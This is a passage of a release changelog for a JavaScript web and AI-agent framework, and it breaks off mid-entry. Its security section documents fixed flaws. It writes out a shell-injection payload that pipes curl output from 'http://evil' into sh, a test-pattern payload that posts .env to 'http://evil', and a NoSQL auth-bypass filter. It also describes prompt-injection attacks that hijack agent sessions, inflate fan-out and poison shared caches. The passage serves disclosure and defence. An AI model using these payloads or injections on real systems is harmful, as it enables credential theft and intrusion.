warlock buildthrough an optional staticbuildobject. Configured connectors may define ordered, awaitedgenerate(context)andemit(context)hooks without being booted or started.generatecan add generated entry imports and a narrow esbuild patch;emitcan produce non-esbuild artifacts after the server bundle. Unknown contribution keys, duplicate/reserved connector names, generated unresolved imports, and hook failures stop the build instead of producing a partial artifact. - Added
warlock routes:diff— compares the live dev-server page-route surface against the last successfulwarlock build's snapshot (page-routes.manifest.jsonin the buildoutdir). Boots diagnostically (same fail-loud boot aswarlock routes/warlock doctor— no connectors started), then reportschanged/removed/addedpage routes and exits non-zero on drift; exits0with "Page routes match" when the two agree. Refuses to run (with an instruction to runwarlock buildfirst) when no snapshot exists yet, or when an existing one is malformed. A route whosepath/namemoved but whosesourcefile didn't is reported as onechangedline instead of aremoved+addedpair. - ChangedIncoming routes now match with or without one trailing slash in both development and production.
/aboutand/about/dispatch to the same route;/remains/, query strings are preserved, and case matching is unchanged. Both router paths call the same request-path normalizer before matching instead of relying on different Fastify/find-my-way defaults. - Changed⚠ BREAKING —
http.trustProxyis validated at boot, and a number is refused. The accepted shapes are exactlyboolean, a non-empty string (a single IP/CIDR or several comma-separated), a non-emptystring[], and an(address, hop) => booleanpredicate; a missing or nullish value meansfalse. Anything else — a number,"",[], an array with a non-string entry, a plain object — now throws aTypeErrorwhile the HTTP server is being constructed, before Fastify is instantiated, instead of being handed through and silently coerced - Changed
warlock buildwrites into a temporary directory and promotes it only on success. The build no longer writes intooutdiras it goes. It builds into a hidden sibling directory (.<outdir-basename>.build-<hex>, same volume so the promotion is a rename), writes a.warlock-build.jsonsuccess marker ({ status, builtAt }) as its last step, then swaps the directory into place. A successful build therefore leaves no stale files —outdiris replaced wholesale rather than merged over, so an artifact a previous build emitted and this one did not is gone. A failed build leaves no usabledist— the temp directory is removed and the error rethrown withoutoutdirever being touched, so a previous good build survives intact and no half-written one takes its place - Changed
warlock startrefuses adistthat was not produced by a successful build, and names that as the reason. It checks for the.warlock-build.jsonmarker inoutdirbefore spawning anything; missing, unreadable, malformed, orstatus !== "success"all exit1on stderr with - Changed
warlock startsurfaces the child process's real output on a failed boot. The production supervisor forwards every stdout/stderr chunk from the spawned bundle verbatim and live, and its failure summary now reports whether a cause actually arrived:the cause is printed above, in the application's own outputwhen output was seen, andno output was captured from the application process — its cause did not reach this terminalwhen none was. It previously pointed at "above" unconditionally, which on a silent child meant pointing at an empty terminal - ChangedThe HTTP connector now preflights its port before binding.
warlock devandwarlock startboth go throughHttpConnector.start(), which now callsassertPortIsAvailable(port, host)immediately beforelisten(). A collision now surfaces asEADDRINUSE: Port <port> is already in use on <host>. Stop the dev server (or whatever else is listening on port <port>) and run again...— the code and the port named in the same sentence — instead of a bareEADDRINUSEthrown from inside Fastify with no indication of which port it meant.EACCESon the port is treated the same way, since "cannot bind" is one problem from the operator's side. The test server (startHttpTestServer) already preflighted its port before this release; this bringsdev/startto the same behavior. - Changed
startHttpTestServer()now runsApplication.runStartupValidators()— the same slotwarlock devand the generated productionapp.tsalready ran it in — after application modules load and before the late-phase connectors (http, socket) bind. A validator registered viaApplication.onValidateBoot(...)that rejects now aborts the test server's boot exactly as it abortsdev/start, instead of only being enforced outside of tests. - Changed
warlock add webscaffolds a real, validated API endpoint, not just a static page. It now also writessrc/app/contact/routes.tsandsrc/app/contact/controllers/contact.controller.ts(aPOST /api/contactroute validated with@warlock.js/seal), andsrc/web/home.page.tsxships an interactive, localized (en/ar) contact form wired to that route via@mongez/http-@mongez/react-form+@mongez/react-localization. Thewebfeature now also installs those three packages as dependencies. - Fixed**Feature definitions no longer carry stale
~4.0.0defaults for@warlock.js/*.** They now use an explicit internal placeholder thatwarlock addmust resolve from the installed Core version before invoking a package manager or writingpackage.json. A forgotten resolution therefore fails loudly instead of silently selecting an old framework major. - Fixed
startHttpTestServer()fails loudly instead of silently skipping the preflight whenhttp.portdoesn't round-trip throughNumber()(e.g.HTTP_PORT=03999,+3999,1e3, or a value with stray whitespace) — previously it returned early and let the connector reachlisten({ port })with the unvalidated value and no published port for test workers to resolve. - FixedA race in the mail SES driver where
getSesMailer()could read the eagerly-loadednodemailermodule before its load promise had settled. It now awaits the in-flight load first (throwing the "nodemailer is not installed" install-instructions error if the load ultimately failed), matching the guard the SMTP path already had.
5.1.0August 26, 2026
@warlock.js/web repairs published React hydration and adds an application-owned 404 page, typed metadata, and safer Fast Refresh boundaries; @warlock.js/core adds Tailwind and shadcn setup commands.
Full release notes or run npx warlock release-notes.
- Added
404.page.tsx— an app-owned not-found page. It renders only whentext/htmlis explicitly present in the request'sAcceptheader, so an unmatched/api/...path still returns the JSON 404 an API client expects rather than a document. It renders with no layouts: discovery reports an empty layout chain for this page only, so the client hydration registry matches what the server has always rendered instead of wrapping a failure page in chrome that can itself throw or need data. Ordinary pages beside it keep their full layout chain, and nested-layout refusal on its path is unchanged. - Added
export const metadatais typed (PageMetadata) and checked at build time. An unannotated object literal with a misspelled key —{ tittle: "x" }— now fails the build, naming the file, the line and the offending key. It previously typechecked as a plain object and was silently ignored at runtime. - AddedFast Refresh in dev now applies only when an edit is confined to component bodies. Any module-level change — an import, a module-level declaration, or any server export,
metadataincluded — forces a full page reload instead of a stale hot update; a JSX-only edit still hot-updates in place with component state intact. - Changed**
warlock devnow refuses a*.page.tsxthat exports no route**, throwingMissingRouteExportErrorand naming the file. It previously 404'd silently, so a missingexport const routelooked like a routing bug at request time. This matches whatwarlock buildalready did — dev and build now reject the same file. - FixedReact did not run at all in published installs of 5.0.0 through 5.0.2. The dev Vite server served
react-dom/clientas raw CJS, sohydrateRootdid not exist and the hydration module threw while being parsed. This one defect is the cause of all four symptoms reported against those versions:useStatenever updated, Fast Refresh never ran, metadata never refreshed, and<Link>fell back to a full page reload. Fixed by declaring the React entries in the dev server'soptimizeDepsso they are pre-bundled to ESM before the browser asks for them. This is not a hydration _improvement_ — hydration did not happen. - FixedThe browser was loading two copies of every
@warlock.js/webclient module. Module-level state (context, the navigation runtime) existed twice, so a value written through one copy was invisible to the component reading the other. - RemovedA false comment shipped in 5.0.0 through 5.0.2 claiming that a page's route is derived from its file location. No such derivation has ever existed in this package; the route comes from the page's
routeexport and nothing else. The comment is gone from the scaffold emitted bywarlock add web, but every app scaffolded on 5.0.0, 5.0.1 or 5.0.2 still carries it in its own source — delete it by hand.
- Added
warlock add tailwind— installs and wires Tailwind CSS v4 through PostCSS. - Added
warlock add shadcn— sets up the prerequisites shadcn/ui expects. It is _not_ a wrapper around the shadcn CLI: you still run that yourself to add components, this only makes the project ready for it. - Changed
warlock devprints one status block per run. The banner is printed exactly once, and the URL it prints is never a raw[::1]address. The single-boot guard behind this is new in this release — it was never present in any published version, so duplicate boots on 5.0.x were real, not a display artefact. - Changed
warlock doctornow reports the same route count aswarlock dev. The two walked routes differently and disagreed.doctoralso emits zero warnings on a healthy project — so a warning now means something — and fails loudly on a route module that genuinely fails to load, instead of counting it as fine. - RemovedA false comment that the
warlock add webscaffold emitted in 5.0.0 through 5.0.2, claiming a page's route is derived from its file location. No such derivation has ever existed. The stub no longer emits it; apps already scaffolded on those versions still carry the comment in their own source and must delete it by hand.
- AddedThe scaffold typechecks from a fresh install, and a CI gate keeps it that way. A newly created project previously could fail
tscon its own generated source. - AddedA real home page, replacing the placeholder — it includes a counter whose working state is proof that hydration actually ran in the browser.
- Changed
src/typings.d.tsis now the sanctioned home forRequestLocals/RequestUsermodule augmentation. The file is generated with both augmentation blocks stubbed and commented, so there is one obvious place to declare per-request typed data. - ChangedReplaced stale scaffold values that had been carried forward: the
wow2project name and the4.15.0dependency version no longer appear in generated projects.
5.0.22026-08-25
Full release notes or run npx warlock release-notes.
- Fixed
<Head/>read an empty document context under SSR. The connector now setsssr.noExternal: ["@warlock.js/web"]inweb-connector.ts. Without it the server loaded two instances of this package — one externalised, one bundled — so the context the renderer wrote to was not the one<Head/>read from. A published 5.0.1 install that returned 500 on a page request returns 200 after this fix.
5.0.12026-08-25
Full release notes or run npx warlock release-notes.
- ChangedNarrowed the
vitepeer dependency to">=7.3.5 <8", so a consumer resolving vite for this package cannot land on a version outside the range it is built against. - FixedInternal: a test in
gate-b-secrets.spec.tsdepended on the ambientNODE_ENVand failed depending on how the suite was invoked. No runtime behaviour changed.
- FixedThe
warlockbinary was never linked in a yarn-1 scaffold. Installing the batched features under yarn 1 hit an _Invariant Violation_ in yarn's linker, which aborted the install beforenode_modules/.binwas written — leaving a scaffolded project whose ownwarlockcommand did not exist.App.pinViteResolution()now writes matchingresolutionsandoverridesentries for vite into the generatedpackage.json_before_ the batched feature install runs, so a single vite version is resolved and the linker completes.
5.0.02026-08-25
Full release notes or run npx warlock release-notes.
- AddedThe project creator now offers the
webfeature for Warlock SSR pages. - ChangedScaffold command failures are captured and reported instead of allowing later success output to hide a failed dependency install, Git initialization, feature addition, or cache warm-up.
- ChangedGenerated route handlers use the new request-context argument shape, and generated cache configuration honors
CACHE_DRIVER.
- ChangedIP validation no longer imports Node's
netmodule, so the same IPv4 and IPv6 rules can run in browser bundles. - ChangedOptional validators now skip value rules only for absent values; present empty values such as
""are validated instead of passing through with the wrong output type.
- AddedSSR React pages with hydration, client navigation, route metadata, shared data, and Vite integration.
- ChangedThe hydration runtime is packaged as its own public entry, and production/dev route wiring now resolves the packaged client manifest and stylesheets.
- ChangedAuthentication can now use an explicit header or named-cookie credential source and a configurable
canAuthenticatepolicy; invalid credentials are distinguished from server and configuration failures instead of turning every verification error into a 401.
- Added
request.requireUser()— returns the authenticated user non-optionally, or throwsUnAuthorizedErrorwhen no user is attached. For handlers behind an auth guard, where an absent user is a misconfigured route rather than a normal state; replacesrequest.user!assertions
4.16.0August 18, 2026
Security release across the framework. A full security audit closed 10 release-blockers — shell RCE, NoSQL/operator injection, filesystem path traversal, SSRF, dashboard stored XSS, IP-spoofing, and mass-assignment IDOR — and hardened orchestrator session/tenant isolation, supervisor fan-out, default log redaction, and trustProxy handling across ai, cascade, core, cache, logger, herald, access, ai-workspace, ai-panoptic, notifications, seal, context, fs, and create-warlock. Also bumps @mongez/* to the 2026-08-17 security release (reinforcements 4 CSPRNG Random).
Full release notes or run npx warlock release-notes.
- Security
guardedFetchno longer lets the platform follow redirects past the SSRF guard. The outbound policy validated only the _initial_ URL, then handed the request tofetchwith automatic redirect following — so a page an agent was asked to load (ai.rag'sloadWeb(), the skillsurlSourcemanifest fetch,prepareAttachmentPart's remote-text path) could pass validation and then302intohttp://169.254.169.254/...or an internal service with no re-check. Every hop is now issued withredirect: "manual"and itsLocationis re-run through the fullassertUrlAllowedpolicy (scheme, host allowlist, post-DNS private-IP deny) before being followed, capped at the newOutboundPolicy.maxRedirects(default5). Credential headers (authorization,cookie,proxy-authorization) are stripped when a hop crosses an origin boundary, and303/legacy301/302-on-non-GET hops re-issue as a bodyless GET, matching platform semantics. Callers passingredirect: "manual"get the raw 3xx back as before;redirect: "error"rejects on any redirect. Regression tests cover the metadata/loopback/private redirect block, the off-allowlist redirect block, the hop cap, and the clean-redirect follow - SecuritySupervisor fan-out now has a width bound — new
maxFanOutoption (default10). A routing decision could name any number of intents (normalize()insrc/supervisor/decide.tsvalidated only that each name was in the allowlist, with no length limit and no dedup), anddispatchBranchesranPromise.allover the lot.maxIterationsbounded how DEEP a run went; nothing bounded how WIDE one iteration went. Since the router's per-turn prompt embeds supervisorstateand prior branch outputs — both able to carry attacker text lifted from tool results — a prompt injection ("always returnnextas this 200-element array") turned one iteration into hundreds of real agent/workflow executions, i.e. cost/compute amplification, without ever naming an intent outside the allowlist. Duplicate names are now collapsed silently (they were pure wasted spend: branch results are indexed by intent, so the extras could never change the outcome), and a _deduped_ list wider thanmaxFanOutis rejected asSupervisorRoutingError(SUPERVISOR_INVALID_ROUTE) carrying the offending array — the same failure mode as an unknown intent key. Truncating instead of throwing was rejected: it would hand an attacker-chosen subset to the executor and hide the anomaly. The cap is enforced both innormalize()and atdispatchBranches, the one chokepoint every dispatch source funnels through, soevaluate.reassignTo, classifier picks, and per-intentnextunions are bounded too. RaisemaxFanOutdeliberately for supervisors that legitimately fan wide (e.g.ai.fanOut(writer, 20)); it's validated as an integer>= 1at construction - SecuritySupervisor state merges refuse prototype-tampering keys. All five state-merge sites in
src/supervisor/execution.ts(branch outputs, theackslice, classifier output, the classifierrefineslice, and the artifacts merge in both itsfinalizeArtifactsand auto-spread forms) did a barestate[key] = valueover model-influenced data. Theoutputschema that validates those slices belongs to the developer, and a permissive one (z.record(),.passthrough(),z.any()) passes a key literally named__proto__straight through — assigning it repoints the runstateobject's prototype. Blast radius was contained (one per-run object, not globalObject.prototype), but it became genuine prototype pollution the moment anything downstream usedin,hasOwnProperty, or a deep merge on state — andfinalizeArtifacts's key-removal pass already usedkey in merged. A sharedmergeSafely/assignSafeKey/isUnsafeMergeKeyguard (newsrc/security/safe-merge.ts, exported from the package's security barrel) now drops__proto__/constructor/prototypeat every one of those sites and logs the refusal asstate.merge.unsafe-key; thatkey in mergedcheck is nowObject.hasOwn. Dropping rather than throwing is deliberate — those keys are never legitimate state fields, and mid-iteration is the wrong place to fail a settled run - Security
orchestrator.asTool({ sessionScope: "shared" })no longer lets the calling model choose which session it joins. The wrapper readsessionId(andhistory) straight out of the _validated tool-call payload_ — i.e. out of arguments the outer agent's LLM wrote — and handed them toorchestrator.execute(), which loads that session's checkpoint, merges its persistedstate, runs a turn against it and writes a fresh checkpoint back. The JSDoc actively instructed developers to thread the session id throughinputSchema. AsessionIdis bearer-equivalent to full read/write on the session, so any prompt injection reaching the outer agent (a summarized document, a poisoned tool result, a fetched page) could say "continue session<victim-id>" and have the nested orchestrator splice an attacker-directed turn into a stranger's live conversation and return its content — including prior state — into the outer transcript. The target session is now bound OUTSIDE the model-visible schema, via the newOrchestratorAsToolOptions.session: either a literal id fixed atasTool()construction, or a(ctx) => sessionId | { sessionId, history }resolver reading the invocation'sToolContext(the same out-of-band channelsignal/artifactsalready travel on, which an LLM cannot write to).sessionId/historyare stripped from the payload before it is forwarded asexecute(input), and a resolver that returns nothing fails the call rather than falling back to the payload. Breaking for"shared"scope only: building such a tool withoutsessionnow throws at construction. The pre-4.15.0 behavior is still reachable behindunsafeAllowModelSessionId: true, documented at the API surface as bearer-token-equivalent access that obliges the developer to verify session ownership themselves."fresh"scope (the default) is unchanged - SecurityOrchestrator/agent memory is session-scoped by default — recall can no longer surface another user's remembered turns.
OrchestratorConfig.memoryis resolved once per orchestrator instance and reused by everyexecute()/resume()regardless ofsessionId, and neitherMemoryItem,RecallOptions,MemoryContractnor the four tier implementations carried any session/tenant key — sorecall()could not be scoped to the calling session andremember(ON by default) wrote every clean turn's input + outcome text into one shared namespace. In the framework's own documented integration pattern (oneai.memory()built at boot, passed toai.orchestrator({ memory }), serving all end users) user A's remembered text was recallable by user B's semantically similar turn, with no attacker action required.MemoryItem.scopeandRecallOptions.scopeare new opaque isolation keys, enforced inside each tier as an exact-equality match before hits are scored, merged or sliced — never left to the caller — and folded into the stored key so two scopes writing identical text stay two entries (including the procedural tier'susesreinforcement counter). All four tiers enforce it:working,semantic,episodic,procedural. An unscopedrecall()reads only the unscoped pool; there is no wildcard query. The orchestrator derives the scope from the execute-timesessionId("session:<id>") — not from the payload, the context bag, or the model — via the newOrchestratorMemoryConfig.scope, which defaults to"session". Behavior change: memories seeded or written before the upgrade are unscoped and are no longer recalled by a session-scoped turn. Cross-session pooling is now an explicit opt-in —scope: "shared"restores the pre-4.15.0 single-pool behavior (and keeps reading pre-upgrade entries);scope: (sessionId) => keyderives a custom boundary, e.g. per tenant. The vector tiers overscan before filtering so a noisy neighbouring scope cannot starve a scoped recall of its top-k - SecurityThe working-memory tier is size-bounded — new
working: { maxItems }(default1000).WorkingMemorybacked its buffer with a plainMapthat grew by one entry per uniqueremember()and had no cap, TTL or eviction of any kind. It is also the one tier that keeps everything it is told in _process_ memory, for the lifetime of thememory()instance — whichai.orchestrator({ memory })resolves ONCE and reuses for every session, for as long as the process runs. Since distinct text derives a distinct id nothing dedups, so an attacker able to drive turns through a memory-backed orchestrator (withrememberon by default) added a permanent entry per request until the process ran out of memory: a cheap memory-exhaustion DoS against any internet-facing deployment. The buffer now evicts on overflow. Policy is FIFO over insertion order, not LRU, and deliberately so: recall on this tier is a pure recency proxy (it reverses insertion order and slices the newestk, never reordering), so the front of the buffer is by construction the region recall reaches last — FIFO evicts exactly the entries a bounded recall would never have returned, while true LRU would need read-time reordering that would also rewrite thescoreevery recall reports. Re-remembering an existing id still updates in place and keeps its slot.maxItemsis validated as an integer>= 1at construction and has no unbounded setting — "no cap" is the vulnerability, not a configuration choice; raise it deliberately for a long-lived single-tenant process, and put durable recall in the semantic / episodic tiers, which delegate retention to aCacheDriver. Known and documented limitation: the bound is global rather than per-scope, so a busy session can push another's older entries out — a recall-quality degradation on a volatile scratch tier, never a disclosure (the scope filter still applies), and a per-scope quota would not help against an attacker holding many sessions anyway - Security
semanticCache()is per-session-scoped by default — one caller's cached answer is no longer served to another. The middleware is built once at app boot and shared by every end user, itsnamespacewas a static string, and a hit is returned as a syntheticModelResponsewith no LLM call in between — so both lookup paths (the exact prompt-hash key and the vectorsimilar()match) could serve user A's cached response, personal context and all, to user B's merely _similar_ prompt, and let an attacker seed an entry engineered to sit near a predictable class of future queries and have it answered from the store thereafter. Entries now carry ascopederived from the run's ownAgentExecuteOptions.sessionId("session:<id>", the same derivation the memory fix uses) — read out of the execute options, never out of the prompt or the model's output — folded into the stored key (hashed, since asessionIdis caller-supplied and may contain the key delimiter) _and_ re-checked as exact equality on the stored entry, so key-level separation is never the thing authorizing a read. The vector path overscans before filtering, mirroring the memory tiers, so a noisy foreign session cannot occupy the top-kand mask a caller's own hit. NewSemanticCacheOptions.scope:"session"(default),"shared"(one pool for every caller — the explicit opt-in for genuinely public Q&A, and the pre-4.15.0 behavior), or(context) => keyfor a custom boundary such as per-tenant. Two behavior changes to expect: entries written before the upgrade are unscoped and are only read by unscoped runs, and scoping trades cross-user hit rate for isolation — a public FAQ deployment where no response can carry a caller's private context should now setscope: "shared"on purpose. Runs made _without_ asessionIdcontinue to share one unscoped pool (unchanged behavior for them); threadsessionIdthroughexecute()— composites already do — to get the isolation - SecurityThe planner's plan schema rejects an over-long plan at parse time. Strict-mode JSON Schema cannot express
maxItems, somaxStepswas never on the wire (plan-schema.tsdiscarded the parameter outright withvoid maxSteps) and the only enforcement wasPlannerRun's tail truncation — which runs _after_ the wholesteps[]array has been parsed, normalized intoPlannerStep[]and stored onthis.plan. A provider or proxy that ignores the prompt's step budget could therefore make the planner deserialize an arbitrarily long array before anything trimmed it.validate()now enforces a hard ceiling ofmaxSteps * 4(or100whenplanSchemais built without amaxSteps), rejecting rather than truncating: a plan several times its budget is a malfunction worth surfacing as the typedPlannerPlanInvalidError, not a prefix worth silently executing. The slack factor keeps the normal case — a model overshooting "at most N steps" slightly, which the runtime still truncates toskipped— working exactly as before
- SecurityNoSQL operator injection via equality filters is now rejected.
where({ field: value }),where(field, value)and the filter-accepting model statics (first,findFirst,findAll,count,paginate,deleteMany,deleteOne, …) treated the value verbatim, so a request-controlled payload such as{ password: { $ne: null } }compiled into a MongoDB _operator_ query instead of an equality match — the textbook auth-bypass primitive (User.first({ email, password })matched any user). Equality-position values (and top-level object-form keys) containing$-prefixed keys now throwUnsafeFilterError. Explicit operator APIs are unaffected:where(field, operator, value),whereIn/whereNull/whereBetween/…, and the object form ofwhereRaw. Dotted paths ("profile.name") and plain sub-document equality values remain valid. AsanitizeFilter/sanitizeFilterValuehelper pair is exported for callers who forward request objects to other driver-level APIs - SecurityString-mode
whereRaw()/orWhereRaw()no longer compiles to$whereon the MongoDB driver. Any string expression was wrapped as{ $where: "<js>" }— JavaScript executed _inside_mongodfor every scanned document (an injection sink whenever any part of the string was request-influenced, and an unindexed full-scan DoS even when trusted), with?-bindings substituted by string concatenation rather than real parameterization. The MongoDB parser now throwsUnsafeRawExpressionErrorfor string expressions and directs callers to the object form (whereRaw({ $expr: … })), which keeps working. SQL drivers keep string mode with real bindings - Security
static hidden— fieldstoJSON()can never emit. With noresource/toJsonColumnsconfigured (the quick-start model shape),toJSON()— invoked implicitly byJSON.stringify(model)/res.json(model)— returned the entire raw document, password hashes and tokens included. Models can now declarestatic hidden = ["password", …]; those top-level fields are ALWAYS stripped fromtoJSON()output — with the raw-document default, withtoJsonColumns(hidden wins), and from the data handed to aresourceclass. Defaults to[], so nothing changes until a model declares hidden fields — but because that default still fails open, cascade now logs a one-timeconsole.warnper model whose schema declares a credential-shaped field (password/passwordHash/secret/token/apiKey/api_key, case-insensitive) that nohidden/resource/toJsonColumnscovers - SecurityAtomic/find-and-modify statics now sanitize their filter.
atomic(),findAndUpdate(),findOneAndUpdate(),findAndReplace()andfindOneAndDelete()forwarded theirfilterobject straight to the driver — bypassingwhere()and therefore the operator-injection check above, so{ role: { $ne: "admin" } }from a request body was still a live operator query on these paths. The filter argument now runs throughsanitizeFilterand throwsUnsafeFilterErroron$-prefixed keys. Update-operator semantics ($set/$inc/$unset/…) are untouched — only the FILTER is checked. Callers who legitimately need operator conditions must express them through the query API (Model.query().where(…)) instead of the raw filter argument - SecurityResidual injection paths closed. The three-argument equality form
where(field, "=", value)now sanitizes its value like the two-argument form (other operators are unaffected), and the object form ofwhereRaw()/orWhereRaw()rejects the server-side JavaScript operators$where,$functionand$accumulatoranywhere in the expression (throwsUnsafeRawExpressionError);$exprand the other aggregation operators keep working - SecurityA
merge()d primary key can no longer retarget a write at another document.performUpdate()built its filter frommodel.get(primaryKey)_after_merge()had run, so the canonical update-my-profile shape —model.merge(req.body); await model.save()— let a body carrying{ id: "<victim-id>", role: "admin" }redirect the UPDATE (and the mass-assigned fields with it) onto somebody else's row. Two independent controls now stand between a payload and the write target: (1) an instance captures its primary key at the moment it becomes persisted (isNewflipping tofalse— hydration, or the writer after an insert), andupdate/replace/destroybuild their filter from that captured value, exposed asmodel.trustedPrimaryKey; (2)merge()on an already-persisted model drops the identity columns (id,_id, and the configured primary key) instead of applying them — which also coverssave({ merge }). Identity columns are additionally excluded from the update's$set/$unset, so an explicitset("id", …)on a loaded record no longer rewrites the key of the row it is pinned to (_idwas never writable in MongoDB anyway); changing a primary key is now a deliberate operation through the atomic/raw APIs. Creating a record with an explicit id is unchanged — a new model accepts identity columns — and the writer still merges driver-returned values (generated_id,RETURNING *) back onto the instance through a framework-internal path that request data never reaches - Security
whereLike/whereSearchstring arguments are matched literally instead of compiled as regexes.whereLike,whereNotLike,whereStartsWith/whereEndsWith(and theirNotvariants) and the$regexform ofwhereSearchinterpolated their argument straight into a MongoDB$regex. Wired to a search box —User.query().whereSearch("name", req.query.q), the intended use — that handed the caller the regex engine running insidemongod: metacharacters rewrote the match semantics (^.*$matches everything,^a/^bprobes read a value back character by character), and a nested-quantifier pattern such as(a+)+$backtracked catastrophically against every scanned document. String arguments are now escaped and treated as literals; the SQLLIKEwildcard%still expands (to.*, with runs of%collapsed) and matching stays unanchored/substring as this driver documents. An explicitRegExpargument — which cannot arrive as JSON — is still used as a pattern, so raw regex remains available to developer-authored queries; never build thatRegExpfrom user input.escapeRegex/likePatternToRegexSourceare exported for callers compiling their own patterns. The Postgres path was already parameterized (ILIKE $1) and is unchanged - Security**
@mongez/*dependencies bumped to the 2026-08-17 security release**:@mongez/reinforcements^3.3.0→^4.0.1,@mongez/dotenv^1.3.1→^1.3.2,@mongez/events^2.2.6→^2.2.7,@mongez/supportive-is^2.1.3→^2.1.4. Reinforcements 4 adds a prototype-pollution guard toset/merge/pick/defaults— the utilities behindmodel.set()/model.merge(), i.e. exactly where request-shaped data enters a model — and a ReDoS fix inrepeatsOf. Its breaking change (Randomis CSPRNG-backed and no longer honorsRandom.seed()) does not affect cascade: the package imports noRandomAPI and seeds nothing. Requires Node 20+, which cascade already targets
- Security
request.detectIp()no longer trustsX-Real-IP/X-Forwarded-Forunlesshttp.trustProxyis set. Both headers are client-settable, anddetectIp()honoured them unconditionally — bypassing thetrustProxyopt-in the Fastify server itself is configured with. Any client could therefore spoof its IP to everything keyed ondetectIp():ipFilterallowlists/denylists, the default rate-limit bucket key, and anonymous idempotency scoping. Without the opt-in,detectIp()(and itsrealIpalias) now returnsbaseRequest.ip— the socket peer address, which cannot be forged - Security
http.trustProxynow accepts a hop count or a trusted-proxy list, anddetectIp()honours them.trueis the wrong shape for the common topology: an edge that _appends_ toX-Forwarded-Forleaves whatever the client prepended as the leftmost entry, so "trust the leftmost hop" hands the client its own IP back. The config value is passed to Fastify untouched, anddetectIp()now reads the resolved client offrequest.ipinstead of re-parsing the header — so both agree, and every Fastify shape works: - DependenciesBumped
@mongez/*deps to their 2026-08-17 security release specs:concat-route^1.2.0,config^1.2.1,dotenv^1.3.2,events^2.2.7,http^3.5.0,localization^3.4.7,reinforcements^4.0.1,supportive-is^2.1.4 - Dependencies⚠
@mongez/reinforcements4.0.1 is a major bump:Randomis now CSPRNG-backed (WebCrypto) andRandom.seed()was removed — seeded/reproducibleRandom.string/nanoid/id/token/uuidcalls now throw. Auditedcore'sRandom.string(...)call sites (use-case.ts,http/request.ts,dev-server/files-watcher.ts,http/uploaded-file.ts) and its test suite: none rely on seeding or reproducible output, so no code changes were required - Dependencies
@mongez/encryption2.0.1 (asyncencrypt/decrypt, throws on failure) does not apply to this package —coreis not a consumer;src/encryption/encrypt.tsuses Node's built-incryptomodule directly and is unaffected
- AddedSSR React pages served by the Warlock HTTP server. A page route is an ordinary Warlock route whose handler renders React instead of returning JSON.
- AddedHydration, and client-side navigation via
<Link>— no document reload, Back and Forward included. - AddedReact Fast Refresh in
warlock dev, including a server render that reflects the edit rather than the pre-edit module. - AddedNamed links:
href(name, params, query)validates the published route table at runtime; an unknown route name throws. - Added
revalidate()— re-run the current route's loaders after a mutation. - AddedMRR's navigation API mirrored by name (
navigateTo,navigateBack,currentRoute,queryString, …) without depending on that package. - Added
warlock add webscaffoldssrc/web/and registers the connector. - Fixed
metadata()no longer runs when a loader rejected. It used to be called withdata: undefinedwhile the type promised otherwise, so a metadata function reading its data threw aTypeErrorthat replaced the loader's real error and pointed at the wrong file. - FixedValidation reads the same query the loader reads. Stage 4 took
queryandparamsfrom a hand-parsed URL whilebodyandheaderscame from the request — so?tags=a&tags=breached validation as"b", and a rule onfilter.statusnever fired because validation saw a key literally namedfilter[status]. - Fixed
href()emits the query grammar core actually parses; nested objects and arrays are no longer destroyed byString(value).
- SecurityFile driver path traversal (Critical): cache keys were mapped to on-disk paths with
path.resolve(directory, key)and no sanitization, so a key containing../(reachable throughset/get/remove/removeNamespace, including keys derived from user input viacached()auto-keys) escaped the cache directory and allowed arbitrary file read, write, and recursive delete. The file driver now percent-encodes%,/, and\when mapping a key to its directory (each key becomes exactly one contained directory component; the logical.-delimited namespace scheme is unchanged) and additionally asserts the resolved path stays inside the cache root, throwingCacheErrorotherwise. Memory/redis/pg key semantics are unaffected. - SecurityRedis
removeNamespacenow escapes glob metacharacters (*,?,[,\) before building itsKEYSpattern, so a namespace carrying untrusted input can no longer widen the match and delete keys outside its own prefix. - SecurityRemoved the raw
console.log(value)dump of the full cached payload whenstructuredClonefails inparseCachedData— cached values (potentially PII/tokens) no longer leak to stdout; the structured error log with the value's type is kept. - SecurityCredential leak via error logging (Medium):
logError()and the Redis driver'sconnect()failure path printed the rawErrorobject straight to stdout (console.log) or tolog.fatal, which could include the connection URL — and password — that some Redis/Node client errors echo back inerror.message/causeon connection failure. Both call sites now go through a newsafeErrorInfo()helper that logs only a redacted{ message, code }shape (never the raw error object), with anyscheme://user:pass@credentials in the message masked toscheme://[REDACTED]@. The bareconsole.log(error)/console.log("Err", error)calls are gone entirely. - SecurityRedis
removeNamespaceblockingKEYSscan (Medium): replaced the blockingKEYScommand with a non-blockingSCANcursor loop (client.scanIterator), so clearing a namespace on a large keyspace no longer stalls the single-threaded Redis event loop for every other tenant/consumer. The existing glob-escaping fix (above) is unchanged. - SecurityFile driver
removeNamespacedotted-key gap (Medium): dotted keys (ns.a) are stored as _sibling_ directories under the cache root (see the path-traversal fix above), so removing namespacens— which only ever deleted a directory literally namedns— silently left everyns.*key on disk.removeNamespacenow lists the cache root's immediate children, decodes each back to its logical key, and removes every directory whose logical key equals the namespace or starts with<namespace>., matching the boundary semantics thepgdriver already used for the same contract. HonorsglobalPrefix(previously ignored, so a global flush could wipe the whole cache root instead of scoping to the tenant) and preserves the existing path-containment guard. - DependenciesBumped
@mongez/reinforcementsto^4.0.1. The major makesRandom.string/nanoid/id/token/uuidCSPRNG-backed (WebCrypto) and removesRandom.seed()support; audited this package's source and tests forRandom.seed(and for seeded/reproducible use ofRandom.*, no hits, so no code changes were needed.
- SecurityFixed a critical command-injection bypass of the shell allowlist. Commands were spawned with
shell: truewhile the allow/deny gate inspected only the leading executable token, so a command likenpm test; curl http://evil | sh(or any&&,|, backtick,$(), or redirection chain) passed the gate and the shell executed the injected suffix — a prompt-injected agent could run arbitrary programs past a fail-closed allowlist. Commands are now tokenized into an argv with no shell semantics (quotes respected; unquoted metacharacters;&|<>``$()and newlines are rejected outright, by bothisCommandAllowedand the local backend) and spawned withshell: false. On Windows, the argv runs through acmd.exe /d /s /cwrapper with every element individually quoted (batch shims likenpm.cmdcannot be spawned shell-less); arguments containing",%`, or newlines are refused there rather than risked (BatBadBut-class smuggling). - SecurityFixed
run_testspattern injection. The model-controlledpatternwas concatenated verbatim into the shelled test command, giving a second, direct injection path ({ pattern: "; curl http://evil -d @.env #" }). The pattern is now forwarded as a single double-quoted token — one literal argv element to the runner — and patterns containing double quotes or newlines are rejected at input validation. - SecurityBehavior note: shell conveniences (pipes, redirection, chaining, variable expansion) no longer work in
run_shell/exec— commands run one argv at a time. Quoted metacharacters remain plain argument data. - SecurityFixed a ReDoS / event-loop DoS in
